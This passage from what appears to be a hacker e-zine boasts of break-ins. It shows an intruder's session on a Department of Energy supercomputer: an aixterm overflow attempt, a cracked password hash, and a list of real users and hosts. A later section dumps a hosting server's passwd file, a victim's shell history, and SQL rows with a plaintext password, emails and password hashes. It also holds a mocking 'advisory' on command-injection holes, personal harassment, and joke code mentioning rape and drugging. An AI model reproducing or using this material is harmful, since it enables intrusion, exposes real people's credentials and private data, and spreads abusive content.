intercepted, monitored, recorded, copied, audited, inspected, and
disclosed to authorized site, Department of Energy, and law enforcement
personnel, as well as authorized officials of other agencies, both
domestic and foreign. By using this system, the user consents to such
interception, monitoring, recording, copying, auditing, inspection, and
disclosure at the discretion of authorized site or Department of Energy
personnel.
Unauthorized or improper use of this system may result in
administrative disciplinary action and civil and criminal penalties. By
continuing to use this system you indicate your awareness of and consent
to these terms and conditions of use. LOG OFF IMMEDIATELY if you do not
agree to the conditions stated in this warning.
************************************************************************
<cens0red@cheetah0033:/dfs/home/cens0red> ksh -i
$ prtconf|head
System Model: IBM,7040-681
Machine Serial Number: 0207D6A
Processor Type: PowerPC_POWER4
Number Of Processors: 32
Processor Clock Speed: 1300 MHz
CPU Type: 64-bit
Kernel Type: 32-bit
LPAR Info: 1 NULL
Memory Size: 32768 MB
Good Memory Size: 32768 MB
$ who|head -20
root pts/0 Nov 10 20:21 (manx.ccs.ornl.gov)
marc pts/1 Nov 11 23:48 (12-232-222-54.client.attbi.com)
llwang pts/2 Nov 10 22:52 (sred2.qtp.ufl.edu)
weima pts/3 Nov 11 16:58 (plasma2.physics.uiowa.edu)
patrick pts/4 Nov 12 05:49 (nemo.physics.ncsu.edu)
vince pts/5 Nov 12 14:08 (nugigan.lbl.gov)
vince pts/8 Nov 12 20:38 (nugigan.lbl.gov)
xtao pts/9 Nov 11 10:22 (csp20.csp.uga.edu)
zingale pts/10 Nov 11 17:10 (nan.ucolick.org)
gaa pts/11 Nov 11 07:29 (mpm09.epm.ornl.gov)
amgeorge pts/12 Nov 11 07:13 (taurus.ccs.ornl.gov)
hof pts/13 Nov 16 21:15 (5664forrest.032.popsite.net)
xu pts/14 Nov 12 19:33 (ashdown.llnl.gov)
lts pts/16 Nov 11 07:58 (ca16.cad.ornl.gov)
fperez pts/17 Nov 16 23:29 (littlewood.colorado.edu)
reed pts/18 Nov 11 08:21 (rdu74-177-187.nc.rr.com)
reed pts/19 Nov 11 08:22 (rdu74-177-187.nc.rr.com)
schultzd pts/21 Nov 11 08:28 (cfadc05.phy.ornl.gov)
reed pts/22 Nov 11 09:07 (rdu74-177-187.nc.rr.com)
leonmal pts/24 Nov 11 16:16 (kermit.asci.uchicago.edu)
$ uname -a
AIX cheetah0033 1 5 00207D8A4C00
/* aightz!! letz root dis m0f0!
*/
$ cp /usr/bin/X11/aixterm ./test
$ ./test -display x.x.x.x:0 -im `perl -e 'print "x" x 500'`
1363-009 aixterm: Cannot open font -*-roman-medium-r-normal--8-50-100-100-c-*-ISO8859-1.
Check path name and permissions.
Segmentation fault
$
/* after doing some shit in gdb for a couple of hours i
come to the conclusion that AIX sucks hairy cock.
especially on supercomputers with all kinds of protection.
no root. */
$ wget ftp://ftp.uu.net/tmp/john-dev-smp.tar.gz &> /dev/null
$ tar xfz john-dev-smp.tar.gz
$ cd john-dev-smp/src
$ make aix-ppc-cc &> /dev/null
$ cd ../run
$ echo "mofo:ph5BNn5xY7nT6:12303::::::" > foosh
$ nohup ./john -session:harhar foosh &
/* mkayz letz g0 make sum chicken sandw1chez
5 min lator
*/
$ ./john -show foosh
mofo:dar2be:12303::::::
1 password cracked, 0 left
$ exit
exit
that is all for now...
to the hacking scene: keep things private plz kthx
d0rknet sux.
04.txt-~-~-~ shcrew submits to h0no!
Fr0m r34d1ng bx's 1nt3rn4l shcr3w m41lsp00lz w3 n0t1c3e th1s g3m 0f
3nt3rt41nm3nt!
------=_Part_155_11933234.1097102628393
Content-Type: text/plain; name="h0nohelln0.txt"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment; filename="h0nohelln0.txt"
__ __ __ ___ ___ __
/\ \ /'__`\/\ \ /\_ \ /\_ \ /'__`\
\ \ \___ /\ \/\ \ \ \___ __\//\ \ \//\ \ ___ /\ \/\ \
\ \ _ `\ \ \ \ \ \ _ `\ /'__`\\ \ \ \ \ \ /' _ `\ \ \ \ \
\ \ \ \ \ \ \_\ \ \ \ \ \/\ __/ \_\ \_ \_\ \_/\ \/\ \ \ \_\ \
\ \_\ \_\ \____/\ \_\ \_\ \____\/\____\/\____\ \_\ \_\ \____/
\/_/\/_/\/___/ \/_/\/_/\/____/\/____/\/____/\/_/\/_/\/___/
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
uh 0hz. d0 eye sm3ll n3wb1es. HEHhehEHhehEh00h0h0h0h0h0h0h0h)H)h0h!!!
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
WELCUM TEW ISSYEW #1 VOLYEWM 29a OF HAX0R MAGAZINE!
F3ATURING ARTICL3S FROM LANCE SPITZNER AND AN INTER-
VIEW WITH THE INFAMOUS HAX0R LEET GROUP H0N0!!!!!!!!
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@
# TABLE OF CONTENTS FOR OVERLY EXCITED FARM ANIMALS IN THE BARNYARD! #
# ------------------------------------------------------------------
# 01. INTERVIEW WITH THE HAXER GREWP h0no AKA h0m0
# 02. h0m0 MEMBERS LIST!?!?!?!
# 03. HAXORLICIOUS EXERPTS FROM TERMINAL ZERO
######################################################################
########
########
########
%#######
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%
S C R O L L A G E
%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
S C R O L L A G E ~ ~ ~ ~ ~
%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
vvvvvvvvvvvvv
| |
| |
| /`````\ |
| | | |
| | | |
| | | |
| \_____/ |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
WHERE ARE THE KEEBLER | |
ELVES???????????????? | |
| |
| |
| |
| |
| |
| |
| |
| |
| |
~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^
^~^~^~^~^~^~
01: INTERVIEW WITH HAXER GREWP h0no AKA h0m0
BlAckHat: so'z, how Long have yew leet pplz been around?
h0no: we'eve been around for about... like 1 week or so
BlAckHat: do you guys have a motto?
h0no: yes, "messing and threatening random people on earth"
BlAckHat: interesting, and what are yu0r goals and recent
acheivements?
h0no: we wanna be the most eleet group on the planet. after being
influenced by such movies as Hackers, Hackers 2: Takedown,
Wargames, The Net, The Mangler, and magazines such as 2600,
Hax0rTimes & lets not ferget the music of YTCracker and Ali G.
BlAckHat: why the fux are u guys so leet???
h0no: berries, herbs, and several hours on waiting lines for cons.
BlAckHat: so what were yuor recent hax attacksz?
h0no: we'll recently we owned this group called nixsec, theyre a
buncha lamers. but, really we didnt own them like 100%, our
zine made it seem as if it did EAUHEUAHEUAHEUHAEUHAEUHAEUEHA~!!!!
BlAckHat: so in other words, you guys are retarded?
h0no: oh we're not retarded, we're just way too cool for school d00d
hehehe
BlAckHat: so how many members are in h0m, i mean h0no?
h0no: ....1....2....carry the 4.... 3 :):)!
BlAckHat: do you guys know how to code?
h0no: of course, we are masters are the following languages: C, C++,
Perl, VB, VBscript, Java, Javascript, Leetscript, Bash,
VXcoding, MySQL, PHP, HTML, Python, COBOL, REBOL, Pike, .NET,
ASM, uh and er Internet Coding.
BlAckHat: you guys have NO idea how to code... do you?
h0no: er
*** 20 minutes later ***
BlAckHat: you there?
h0no: sorry we were taking over a bank!
BlAckHat: right. anyway, next question
BlAckHat: you have no idea how to code do you? it took you 15 minutes
to count your members!
h0no: FUCK YOU. ILL DOS U.
h0no: * [BlAckHat] (BlAckHat@BlAckHat.666.asm) :=20
h0no: * [BlAckHat] @h0nohellno
h0no: * [BlAckHat] irc.blackened.net
h0no: * [BlAckHat] is an IRC Operator
h0no: * [BlAckHat] End of WHOIS list.
h0no: err...
*** h0no has quit (Killed: fuq fac3)
02: h0no memb3rsh1p
hELLO PPLZ. W3LC0M3 T0 AN0THER H0NOHELLN0 PROPHILE. T0DAY WEE WILL
DOAN ELEET PROPHILE 0N NONE OTHER THAN h0no!!
PeRSoNaL BIoGROpHrEaK
?????????????????????
rEAL nAME: UNKNOWN
hANDLE : nolife
hANGS iN : #darknet
nATIONAL : rUSSIAN
sPEAKS : eNGlish & rUSSIAN
lOCATION : bROOKLYN, nEW yORK
iSP : vERIZON DSL
sKILLS : hEXING wINDOWS bINARIES
FaMiLy MaTtErS
?????????????????????
mOTHER : UNKNOWN
mOMs jOB : pROSTITUTE/wAITRESS/eXOTIC dANCER
fATHER : n3td3v
dADs jOB : pORNOGRAPHER/pART-tIME sALES
mOMs aGE : 58
dADs aGE : 67
sIBLINGS : 2 dECEASED bROTHERS
* jOEY
* rICKY
eDuCaTiOnAl sTaTiStiCz
??????????????????????
sCHOOLIN : nEVER pASSED hIGHSCHOOL
jOb 'N cArREErZ
??????????????????????
cURRENT : mOTHERS pIMP / cASHIER (mCdONALDS)
h0m0 MEMBERS LIST!?!?!?!
> Begin ultra phucking secret msg...
> SH MSG05.1_
./ \/ /.......h0no organisation
\/\ / .......memb3rz list.....
\\/
w3 kn0W y0U kiDz 0n Z0n3-h(Pr0PZ!)
l0v3 T0 pl4Y p4Zz th3 P4rC3l w1tH
h0mo m3mb3rZ s0 w3 th0UghT w3 w0uLd
sp1Ll th3 b34Nz s0 w3 c4n r3c13v3
s0m3 DdoZ!
CEO.............. bx
SECRATARY........ dvdman (sw4lL0Wz!)
VICEPREZ......... harq
ACCOUNTS......... divineint
PUBLISHING....... so1o
RECREATION....... nolife
ALTEREGOS........ GOBBLES
SUPERHEROS....... r4tman
ENTERTAINMENT.... route
MORNINGWOODCLONE. n3td3v
PACKETINJECTOR... SLY
n0w y0U kn0W wh0 w3 4r3 Pl34Ze Msg uZ
t0 G3t Gr33tZ&&DDoZD!!~! If y0u d0Nt
HaV3 A g00D P4ck3T3r MsG SLY FoR h3lP
ASaP!!!
> ECHO "DORKZ"_
DORKZ
^&"@$&£%!"£^24####.. NO CARRIER
03: HAXORLICIOUS EXERPTS FROM TERMINAL ZERO
HOI. MY NAYMES STEEV ERWIN. AND TODAI WE'RE GONNA CHECK OUT THE RARE
AND LAYME ANIMAL KNOWN DAWN UNDAH AS THE SCRIPT KIDDIE. NOW, LETS SEE
SOME ACTION AS THUH SCRIPT KIDDIE TROIS TO ATTACK ROSEC SECURITAY:
81.185.144.33 - - [13/May/2004:18:02:20 +0300]
"GET /mailman/confirm/rosec/bb12581fc16c323714d13903b5128441b4e4eef8
HTTP/1.1"$
CRAWKIE! THATS SOME ACTION RYTE THERE! UH OH. WE BETTAH RUN BEFORE IT
GETS ANGRAY AND ATTACKS US!! RUN!!
------=_Part_155_11933234.1097102628393--
05.txt-~-~-~ perlsex [aka. how to get laid]
#!/lose/ur/virginity
#
# h0no c4n c0de.
#
# greetz to zone-h forum for the help!!!
#g0t t0 f1nd m3 a l4dy...
$lady = 'drunk' if(open(GIRL, '/usr/bin/pub'));
$lady = 'slut' if open(BITCH, '/home/street/corner')&&use protection;
#th1z alw4yz w0rkz.
chomp my $dick = (<BITCH>) unless $lady ne 'slut';
if(!($dick exists in @mouth)){
#sh3's just pl4y1ng h4rd t0 g3t.
print GIRL "my what nices eyes you have..";
if(<> eq 'all the better to glar into your eyes while I'.
'stroke you off'){
$lady = 'slut';
$pants = 'off';
foreplay();
}
}
#w41t t1ll sh3 g3tz a l04d 0f th1z!
print GIRL '8==========\n=========\n=====D';
#th4tz wh4t 3y3 th0ught b1tch.
if(($face = <>) eq '8D'){ sex($lady, 'in car'); }
elsif(($responce = <>) eq 'ive seen bigger'){
$lady = 'pornstar';
use camera;
sex($lady, 'out_side');
}
#FUCK Y0U B1TCH!
else{
open(D13B1TCH, ">date/rape") || kill $lady;
print D13B1TCH $roofie;
}
sub sex{
($lady, $location) = @_;
# /##\ <-- sup3r h0no ascii sk1llz
goto CAR if ($location =~ /()-()>/); #(itz a c4r y0u fuckz)
goto OUTSIDE if ($location =~ / /);
else{
print "s3x h3r3?????\n";
$lady = 'superfreakyslut';
}
#fuck th1z b1tch
sleep $with_her;
exit;
CAR;
#g0t t0 g3t 4t th4t pussy!
open(DOORS, 'side/of/car') or chop($window) if $desperate;
OUTSIDE;
($thing, $todo) = foreplay();
if($todo eq 'to party'){ exit; }
else{
@positions = (6,9);
#g0 nutz
sort(@positions);
foreach(@positions){
#sin until your done.
$done = sin($_) until $done;
}
exit if($done);
else{
#sw1tch p0s1t10nz 4nd h1t th4t pussy.
reverse(@positions);
&sex($lady, 'here');
}
}
sub foreplay {
open(INTERESTINGSTUFF, "below/head/above/vigina") or
`unzip dress*`;
#3y3 l0v3 t1tz
($shirt, $bra, $boobs) = (<INTERESTINGSTUFF>)[0..2];
#H3y h0n, 3y3 th1nk 3y3 n0t1c3d y0u 4r0und
if(exists($shirt)){
#S0rry 4b0ut s4l4d cr34m, 3y3 d1dn't kn0w
#1t c4m3 0ut l1k3 th4t
#1t'll b3 w4sh3d 1n a j1ffy
open(SHIRT, "cute-silk-number");
#H3y b4b3, w4nn4 kn0w wh4t l00kz g00d 0n my fl00r?
unlink($bra . $one_hand);
#s41n1ty ch3ck
if (!exists($boobs)){
#0h g0d fuck m3, TH4TS why h1s 4ss h0l3'z r3d!
alarm(1);
print STDOHSHIT "ITZ A MAN!GOATSECX ALEERRTT";
close(SHIRT) && die;
}
#th3y'r3 m1n3 n0w!
my $boobs;
study $boobs;
#th3y n33d a t41nt ch3ck?
$hands = ($boobs =~ /(.)(.)/);
#4ll th3m sm4ll th1ngz add t0 p3rf3ct10n
while ($boobs =~ s/.*(nipple|raised_area|tatoo).*/g) {
$sensations .= $1;
}
seek BOOBS, $sensations,0;
return($sensations, 'done');
#1f $sh1rt d03sn't ex1st
} else{
$her = 'drunk';
while(not exists($seman)){ $you = pack 'CU','NT'; }
return($her,'to party');
}
}
}
06.txt-~-~-~ Exploit Modelling and Generalization 2
--[ Exploit Modelling and Generalization 2
--[ Introduction
y0 dudez, easy to use exploitz have been rolling for what seems like
months now, and many of the elitez making these things dont spend
enough time and need to do more coke. Most of the time exploitz use
variations on the same command line arguments most of the time. Even
if we accept this as 'elite', h0no sees that the elitez are making
exploitz from scratch time and time again, and the same sort of
command line options and offsetz are used most of the time. the
impact of this has two sides, first all of the zone-h kidz are able
to pick up an exploit, compile it, and use it within seconds.
This paper tries to generalize exploitation principles and also
strives to build a formal exploitation optionz model for use in
remote root and local gid gamez exploitz.
--[ In the beginning there was...
In order to try to generalize exploit principles it would come in handy to
use a drugged-up approach, in other words, we will first do a line of coke
and then run the daily packetstorm shit. Obviously, the most easy case to be
described in our new mindset is the remote root.
When looking into these types of exploits the first stricking thing that
clubbers a lot of exploit command line optionz is the way in which offsetz
and other pointless thingz to ./ kidz are used. A lot of elitez try to
prove their intellegence by making their code use some hexacecial encoding
or whatever the fuck itz called for offsetz. This is not truly a problem,
but it gets more nasty to convert these if you haven't ./statdx a few
boxes.
The next striking thing is that the 'offset' and get_sp() principle is still
used far to often. First of all one can be wondering why the get_sp()
function was introduced - Linux basicly has no reason for this, so let's move
on.
The usefull part of an exploit is the ./ effect. I asked an elite, and he
said the environment starts out at a known fixed base, and knowing this it is
easy to make an exploit without any command line options.
This technique still suffers from fluctuations in the coke, depending on how
many linez there are (ie. closer to the elitez nose). If they make sure that
the coke is going to be the first entry in the brain, elitez can stay up for
dayz and dayz coding. Exploitz will get to the point of no command line
optionz, and the kidz can use them without wasted time.
Combining all this we could write the most simple form of a remote root exploit
command line as follows:
[h0no@localhost]# ./h0-urfuckd pivx.com
[owned] pivx.com
[root@pivx.com]#
The idea of being able to ./ without options comes in truly handy in many
different situations. Especially when needing to own many whitehats very
quickly. This is the key element to successfull exploitation.
--[ local gid gamez
A bit harder to model than it's ancient god-father, the remote root, but
certainly more interesting. The general concept of the local gid gamez
exploit is to win at gnu chess. Since no one in h0no can do this, we
decided to leave this up to the elites on vuln-dev.
Exploitz to come.
-- scr1bbl3/ronaldmcdonald@grafix.nl
07.txt-~-~-~ d4nc3 d4rkcub3, d4nc3
n0t s1nc3 th3 gr34t 0wn1ng 0f udp's l1v3j0urn4l h4s 4 bl0g b33n
h1t lyk3 th1s. 4 l1ttl3 1ntr0 m4y b3 n33d3d..
d4rkcub3 w4s 4 c0r3 m3mb3r 0f h0no dur1ng th3 m4k1ng 0f h0no1, but s1nc3
th3n h4s b33n b0mb4rd3d w1th sh0wz t0 d0.. s0 h3 h4d t0 t4k3 s0m3 t1m3
4fk. Th1s 1s n0t t0ll3r4bl3, s0 fr0m th1s d4y f0rth d4rkcub3 1s n0 l0ng3r
4ll0w3d 0n th3 ircsn3t 0r t0 r34d futur3 1ssu3z 0f h0no (n0t3: th31r w1ll
n0t b3 4ny).
fr0m http://www.livejournal.com/users/darkcube/59902.html
-~-~-~
darkcube ([info]darkcube) wrote,
@ 2005-04-13 16:03:00
Previous Entry Add to memories! Next Entry
not to be trusted.
yo, i'm at war right now.
the following accounts have been compromised, and are not to be trusted :
AIM : el8haqr
AIM : darkcub3
ravematch : darkcube
hotmail/MSN : djdarkcube@hotmail.com
midnb : nexxus
yahoo : d4rkcub3@yahoo.com
YIM : d4rkcub3
stay tuned for the update.
-~-~-~
w3 w0uld lyk3 t0 th4nk d4rkcub3 f0r ush3r1ng 1n 0ur l4st3st 1ssu3 0f h0no.
th3 w4r 1s 0v3r m4n, but th4nkz f0r th3 h3lp! v1s1t DJ D4rkCub3 1n d3tr01t,
th3 murd4h c1ty, @ th3 b0ng0 b0ng0 l0ung3. S4turd4y n1ghtz h4ck3rz dr1nk fr33.
08.txt-~-~-~ bhs-authkeys h4s a c4s3 0f th3 buff3r 0v3rphl0wz
h0no advisory
------------------------------------------------
------------------------------------------------
Software: bhs-authkeys
Date of discovery: t00 st0n3d t0 r3m3mb3r
Risk : sup3r dup3r w00p3r l0w, ( wh0s g0nna us3 d1z sh1tty c0d3 )
Platform: y3n1x
Type of bug(s): 4 sh1tl04d 0f 0v3rphl0ws
Vendor notified : c0uldnt m3ss4ge v3nd0r s1nze n0 0ne 1z 0wning up t0 c0d1ng such cr4p
Description
-----------
st4rt 0f l4m3 h34d3r....
/*
bhs-authkeys.c
description: code made incase admins log commands,
if you dont know what "authkeys are for" dont use it!
author: hex @ #BlackHats - Efnet featuring bx
greets: pintos, termid, eksol, grass, atomix, tiggy, jinksed, c0n, dvdman,
BSDaemon, d4rkgr3y, lacroix
worm, BoR0, knowfx, Nas`, Abunasar, harq and others we've forgot ;)
url: http://blackhats.uni.cc
*/
//coded by hex blackhats@efnet
3nd 0f l4m3 h34d3r....
up0n 4n 4ud1t 0f bhs-authkeys t00l , h0no h4s b33n 1nf0rm3d 0f mult1pl3 buph3r 0v3rphl0ws 1n
th1z s0ftw4r3 wh1ch c4n l34d t0 4rb1t4rty c0d3 3x3cut10n. Us3rs 4r3 str0ngly 4dv1s3d t0
qu3st10n th3r3 s4n1ty 4z t0 why 0n g0ds gr33n 34rth 4r3 th3y us1ng th1z s0ftw4r3 wh1ch 4pp34rs
t0 h4v3 b33n f4rt3d 0nt0 n0t3p4d 4nd c0mp1l3d.
th3 4ud1t b3l0w w4s 3m4l13d t0 uz by h3l3n k3ll3r 4ft3r sh3 d0wnl04d3d 4 c0py 0f bhs-authkeys
4nd th3n pr0c33d3d t0 sh0w uz h3r f1nd1ngs. n1ce j0b h3l3n :D
.:::::.
Deya h0no ,
aigh lub yoh zine awwlot an aigh jus wanah sey that aigh'm gibbing m'aigh cuntribushun
tu yew bois. heeyah ees wah wah wah aigh fownd een bhs-authkeys: soom boofr ohvahfloors ahnd
soom voolns.
bhs-authkeys.c
--------------
Line: 101
Function: "sprintf()"
sprintf(syscmd ,"%s/.ssh", homedir); //wah wah wah a stewpid theng tu dew
eef wee luk at da mayn() fooncshan wee weel see:
int main(void)
{
FILE *f;
char string[1024];
char syscmd[2048]; <------ startic boofr
char key1[2048];
char key2[2048];
char buf[2048];
int key1present = 0,key2present=0;
char *homedir;
homedir = getenv("HOME"); <------ hoh shyt
deya h0no thees ees ah stark ohvahfloor,wah wah wah woz da kohda theenkan!
bhs-authkeys.c
--------------
Line: 107
Function : "sprintf()"
sprintf(syscmd, "mkdir %s/.ssh", homedir);
aigh fownd wun heeya az well
arnd...
Line: 110
Function : "sprintf()"
sprintf(syscmd, "%s/.ssh/authorized_keys", homedir); // hohlee shyt
moh..
Line: 116
Function : "sprintf()"
sprintf(syscmd, "touch %s/.ssh/authorized_keys", homedir);
yohn...moh
Line: 119
Function : "sprintf()"
sprintf(syscmd, "%s/.ssh/authorized_keys", homedir);
blar blar blar....moh
Line: 148
Function : "sprintf()"
sprintf(syscmd, "touch -r /bin/ls %s/.ssh/authorized_keys", homedir);
eef dat eesnt laym yuze owv sprintf() arnd mees uze owv getenv() theyn m'aighkul jehkzan ees
ah zand neegur
bhs-authkeys ees plegged wuth moh een sekyooritties:
Line No: 108
Function: "system()"
system(syscmd); //ho shyt
eef wee tarace dee syscmd bach wee see :
sprintf(syscmd, "mkdir %s/.ssh", homedir);//wah wah wah a stewpid theng
ez yew carn see wee carn cuntroll dee syscmd.
dat feeneshez m'aigh owdit , aigh joost wohna seh dat joost coos aigh'm bulleyend ,
doomb arnd deyf doozant stowp meh frowm fyndeen boogs in yoh kohd.
wowtch owt laymaz coos kurazy helen ees boorstin on dee seen. aigh'm heya tu mayk yoh
loif hill!
gudb'aigh h0no , lub yew owl xx
Helen "mac-daddy" Keller.
.:::::::.
wh4ts th3 p0int 0f us sh0w1ng y0u m0r3 0f th1s l4m3 c0d3 wh3n 1t w0uld b3 m0r3 fun
thr0w1ng 3l3ph4nt dung 4t y0u. thx 4 bunch t0 h3l3n , 0ur n3w sp1r1tu4l l34d3r.
th4t c0nclud3s th1s 4dv1s0ry fr0m h0no. th3 0nly th1ng l3ft t0 d0 iz /qu3ry hex_ @ efnet 4nd
t3ll h1m t0 "man snprintf", 0h 4nd wh1l3 y0ur 4t 1t t3ll h1m h3l3n k3ll3r pwn3d h1z l4m3 c0d3
4ll th4t r3m41ns n0w 1z f0r t4l0n` t0 c0d3 th3 p()c th3n tr4d3 h1z n3w w4r3z.
PS: thnx t0 b0f f0r sh0w1ng h3l3n h0w t0 uz3 fl4wf1nd3r
09.txt-~-~-~ thor the milf hunter
pivx sucks, but thor's admining another more interesting site. Purhaps he
should quit security and get into his other hobbies.
sh-2.05b$ uname -a
Linux box4.just-hosting.com 2.4.21-27.0.2.ELsmp #1 SMP Wed Jan 12 23:35:44 EST 2005 i686 i686 i386 GNU/Linux
sh-2.05b$ cat /home/jscript/.bash_history
ls
prompt
l.
cd .trash/
ls
l.
cd ..
less .spamkey
less .bash_history
rm .bash_history
ls
l.
cd .gnupg/
ls
ll
add_members
locate mailman
cd /
ls
cd opt
ls
cd ..
cd misc
ls
cd ..
cd usr/local/
ls
cd share/
ls
cd man
ls
cd ..
cd ..
ls
ls bandmin/
ls apache/
ls apache/cgi-bin/
ls apache/man/
ls apache/conf
cd apache/conf
ls
ll
less httpd.conf
ls /home/mailman
ls ~
ls ~pubmp3o/
ll ~
ls ~/public_html/
ls ~/public_html/lists/
echo "ServerName lists.jscript.dk"
echo "ServerName lists.jscript.dk" > ~/public_html/lists/.htaccess
rm ~/public_html/lists/.htaccess
host 216.177.27.37
dig 216.177.27.37
telnet home.jscript.dk
telnet home.jscript.dk 123
cd ~
ls
l.
echo "ls" > .bash_history
ls
ll
less .bash_history
dns mx word-to-the-wise.com
dig mx word-to-the-wise.com
dig mx2.samspade.com
host mx2.samspade.com
ping mx2.samspade.com
nmap
exit
ls
top
cls
clear
l.
telnet
lynx jscript.dk
exit
ls
l
l.
cd ..
ls
l.
cd /
ls
cd ~
ls
dig
host
ls
cd www
ls
exit
ls
mkdir bin
cd bin
ls
l.
ll
wget http://download.insecure.org/nmap/dist/nmap-3.70.tar.bz2
locate nmap
ls
bzip2 -cd nmap-3.70.tar.bz2 | tar xvf -
cd nmap-3.70
./configure
make
ls nm*
nmap
./nmap
cp ./nmap ../
cd ..
ls
cd ~
ls
cd bin
nmap
./nmap
./nmap home.jscript.dk
nmap -v -v home.jscript.dk
./nmap -v -v -P0 home.jscript.dk
ping home.jscript.dk
telnet msn.com 80
nmap
./nmap
./nmap -sU home.jscript.dk
./nmap -sn home.jscript.dk
./nmap -6 home.jscript.dk
./nmap pivx.com
clear
nmap -v -v home.jscript.dk
./nmap
./nmap -v -v home.jscript.dk
telnet home.jscript.dk 1
telnet home.jscript.dk 21
telnet jscript.dk 22
dfb
telnet home.jscript.dk 22
rm nmap
ls
rm -rf nmap-3.70
ls
rm -rf nmap-3.70.tar.bz2
ls
l.
ll
clear
clear
exit
sh-2.05b$ echo boring
boring
sh-2.05b$ grep bash /etc/passwd
root:x:0:0:root:/root:/bin/bash
netdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bash
mysql:x:100:101:MySQL server:/var/lib/mysql:/bin/bash
cpanel:x:32001:32001::/usr/local/cpanel:/bin/bash
mailman:x:32002:32002::/usr/local/cpanel/3rdparty/mailman:/bin/bash
mydomain:x:32011:32012::/home/mydomain:/bin/bash
astille:x:32074:32075::/home/astille:/bin/bash
cedarpa:x:32079:32080::/home/cedarpa:/bin/bash
fantasti:x:32086:32087::/home/fantasti:/bin/bash
itechnet:x:32093:32094::/home/itechnet:/bin/bash
jscript:x:32095:32096::/home/jscript:/bin/bash
madison:x:32099:32100::/home/madison:/bin/bash
pubmp3o:x:32117:32118::/home/pubmp3o:/bin/bash
scottish:x:32121:32122::/home/scottish:/bin/bash
warsims:x:32133:32134::/home/warsims:/bin/bash
tomcat:x:101:99::/home/tomcat:/bin/bash
asdf:x:32137:32138::/home/asdf:/bin/bash
allfiles:x:32144:32145::/home/allfiles:/bin/bash
axtelsof:x:32148:32149::/home/axtelsof:/bin/bash
calabas:x:32151:32152::/home/calabas:/bin/bash
jakesli:x:32175:32176::/home/jakesli:/bin/bash
lioutra:x:32179:32180::/home/lioutra:/bin/bash
screwbal:x:32193:32194::/home/screwbal:/bin/bash
snserver:x:32194:32195::/home/snserver:/bin/bash
thetrav:x:32199:32200::/home/thetrav:/bin/bash
sh-2.05$ cat ev3rw4nt24dm1nblog.jscript.dk\?.sql
INSERT INTO b2users VALUES (1,'larholm','abekat','Thor','Larholm','Jumper',0,'thor@jscript.dk','','127.0.0.1','127.0.0.1','','0000-00-00 00:00:00',10,'','','','nickname');
sh-2.05$ cat th0rzs3cr3tp0rns1t3z.sql
INSERT INTO nuke_message VALUES (1,'Welcome to OCMILF.COM - home of the MILF','<b>OCMILF.COM</b> is your one stop resource for all that is <b>MILF</b>!\r\n<p>\r\nLive from the birth place of the <b>MILF</b>, Orange County in southern California, we bring you everything that you need to satisfy your MILF hunger\r\n<p>\r\n<ul>\r\n<li><b>MILF</b> articles\r\n<li><b>MILF</b> background information\r\n<li><b>MILF</b> pictures\r\n<li><b>MILF</b> personals \r\n<li><b>MILF</b> testimonials\r\n</ul>\r\n<p>\r\nHave you ever wondered what makes a <b>MILF</b> tick?\r\n<br />\r\nAre you a <b>MILF</b> looking for that young stud to appreciate you and brighten your day? \r\n<br />\r\nAre you a <b>MILF</b> lover looking for that special <b>MILF</b> in your neighborhood?\r\n<br />\r\nAre you looking for the latest <b>MILF</b> news and developments on the <b>MILF</b> scene?\r\n<p>\r\nIf so, you have come to the right place! At <b>OCMILF.COM</b> we strive to be your one stop resource for all that is <b>MILF</b>','993373194',0,1,1,'');
INSERT INTO nuke_users VALUES (1,'','Anonymous','','','','blank.gif','1085693158','','','','','',0,0,'','','','',10,'',0,0,0,'',0,'','',4096,0,12.0);
INSERT INTO nuke_users VALUES (2,'larholm','larholm','ocmilf@jscript.dk','','http://ocmilf.com/','blank.gif','1085693158','','','','','',0,0,'','','','3301f5262143eacd30b9e9e09478146b',10,'',0,0,0,'',0,'','',4096,0,12.0);
INSERT INTO nuke_users VALUES (3,'','renenielsen','mailliste@renenielsen.net','','','blank.gif','1086399461','','','','','',0,0,'','','','ed8bd54dcc5c37d09cad1c3994d2ba5e',10,'',0,0,0,'',0,'','',4096,0,4.0);
INSERT INTO nuke_users VALUES (4,'','gloke','georgerodriquez@yahoo.com','','','blank.gif','1087340033','','','','','',0,0,'','','','96f367f2c0eaba69c8715e930dbd3a39',10,'',0,0,0,'',0,'','',4096,0,4.0);
INSERT INTO nuke_users VALUES (5,'','newporter','bbogus@aol.com','','','blank.gif','1096435048','','','','','',0,0,'','','','ac9f29b8a41f0807c524d47a0d6c0616',10,'',0,0,0,'',0,'','',4096,0,4.0);
INSERT INTO nuke_users VALUES (6,'','josephpro','rodney747@go.com','','','blank.gif','1100104712','','','','','',0,0,'','','','489d57a53776caf141fe5237e41f9f86',10,'',0,0,0,'',0,'','',4096,0,4.0);
INSERT INTO nuke_users VALUES (7,'','tonygmiller','tonygmiller@yahoo.com','','','blank.gif','1100938721','','','','','',1,0,'','','','2156ae4d826ef07e7c858c17fec31573',10,'',0,0,0,'',0,'','',4096,0,4.0);
INSERT INTO nuke_users VALUES (8,'','howiii','hperkiii@msn.com','','','blank.gif','1103101822','','','','','',0,0,'','','','d7274db776806e704e47d0d27789fcbf',10,'',0,0,0,'',0,'','',4096,0,4.0);
